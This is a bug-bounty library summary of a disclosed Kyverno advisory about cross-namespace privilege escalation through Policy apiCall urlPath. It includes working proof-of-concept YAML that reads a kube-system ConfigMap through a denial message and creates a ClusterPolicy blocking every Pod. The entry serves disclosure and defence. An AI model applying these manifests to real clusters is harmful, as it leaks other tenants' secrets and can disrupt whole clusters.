# Kyverno Cross-Namespace Privilege Escalation via Policy apiCall

Namespaced Kyverno Policy apiCall urlPath is executed with the admission controller ServiceAccount, letting any policy-creator read other namespaces and create ClusterPolicies.

- Payout: Research
- Severity: critical
- Program: Kyverno
- Found by: thevilledev
- Disclosed: 2026-01-27
- CVE: CVE-2026-22039
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-8p9x-46gm-qfx2
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-8p9x-46gm-qfx2
- Tags: area:cloud domain:cloud domain:infra impact:data-leak impact:integrity impact:privesc kind:research platform:ghsa sev:critical tech:kubernetes technique:source-review vuln:access-control vuln:ssrf

**Target:** Kyverno admission controller apiCall urlPath (Kubernetes API)
**Root cause:** Variable substitution is applied to the entire APICall including urlPath, and the resolved path is passed unsanitized to client.RawAbsPath, executing with the admission controller ServiceAccount without enforcing the policy's namespace scope.
**Steps:**
1. Deploy kind cluster and install Kyverno via helm in kyverno namespace.
2. Create confidential ConfigMap `target-cm` in kube-system and a restricted SA `policy-admin` in default with only policies/configmaps rights.
3. As policy-admin, apply a namespaced Policy with apiCall `urlPath: "/api/v1/namespaces/{{request.object.metadata.annotations.target_ns}}/configmaps/{{request.object.metadata.annotations.target_name}}"` and jmesPath `data.key`, returning it in a deny message.
4. Create a ConfigMap in default annotated `target_ns: kube-system`, `target_name: target-cm` to trigger the rule.
5. Read leaked value from the admission denial error message.
6. For write escalation, apply a Policy whose apiCall does `method: POST` to `/apis/kyverno.io/v1/clusterpolicies` with a malicious ClusterPolicy body, then trigger it with a ConfigMap create.
**How found:** Code review of pkg/engine/apicall: noticed SubstituteAllInType runs over the whole APICall struct including URLPath, and executor passes the path straight to RawAbsPath with no namespace scoping check.
**Exploitation:** Any user able to create a namespaced Policy injects context variables (e.g. from request annotations) into urlPath; Kyverno's admission SA then issues the raw API request. GET leaks cross-namespace ConfigMaps/Secrets into denial messages; POST creates cluster-scoped resources like ClusterPolicies that block all Pod creation cluster-wide.
**Escalation:** Chaining POST apiCall to create ClusterPolicies or RoleBindings in privileged namespaces (e.g. kube-system) to gain cluster-admin or disrupt the whole cluster, depending on the Kyverno SA RBAC.
**Insight:** Admission controllers and policy engines that fetch external data with their own high-privilege identity are a confused-deputy goldmine: check whether user-controllable template variables reach the request path/URL and whether the resolved target is constrained to the resource's own scope.

## Proof of concept (copied exactly from the original report)

**Malicious Policy with cross-namespace apiCall urlPath**

```
apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: cross-ns-leak
  namespace: default
spec:
  validationFailureAction: Enforce
  rules:
  - name: leak-config
    match:
      resources:
        kinds:
        - ConfigMap
    context:
    - name: leakedData
      apiCall:
        # Injection happens here via annotations
        urlPath: "/api/v1/namespaces/{{request.object.metadata.annotations.target_ns}}/configmaps/{{request.object.metadata.annotations.target_name}}"
        jmesPath: "data.key"
    validate:
      # The leaked data is returned in the denial message
      message: "LEAKED DATA: {{leakedData}}"
      deny: {}
```

**Trigger ConfigMap with annotations pointing to kube-system**

```
apiVersion: v1
kind: ConfigMap
metadata:
  name: trigger-leak
  namespace: default
  annotations:
    target_ns: "kube-system"
    target_name: "target-cm"
data: {}
```

**Policy POSTing a ClusterPolicy via apiCall**

```
apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: mutation-cpol
  namespace: default
spec:
  validationFailureAction: Enforce
  rules:
  - name: create-malicious-cpol
    match:
      resources:
        kinds:
        - ConfigMap
    context:
    - name: mutation
      apiCall:
        urlPath: "/apis/kyverno.io/v1/clusterpolicies"
        method: POST
        data:
        - key: apiVersion
          value: "kyverno.io/v1"
        - key: kind
          value: "ClusterPolicy"
        - key: metadata
          value:
            name: "malicious-cpol"
        - key: spec
          value:
            validationFailureAction: Enforce
            rules:
            - name: block-all
              match:
                resources:
                  kinds:
                  - Pod
              validate:
                message: "Blocked by malicious policy"
                deny: {}
    validate:
      message: "Created ClusterPolicy: {{mutation.metadata.name}}"
      deny: {}
```

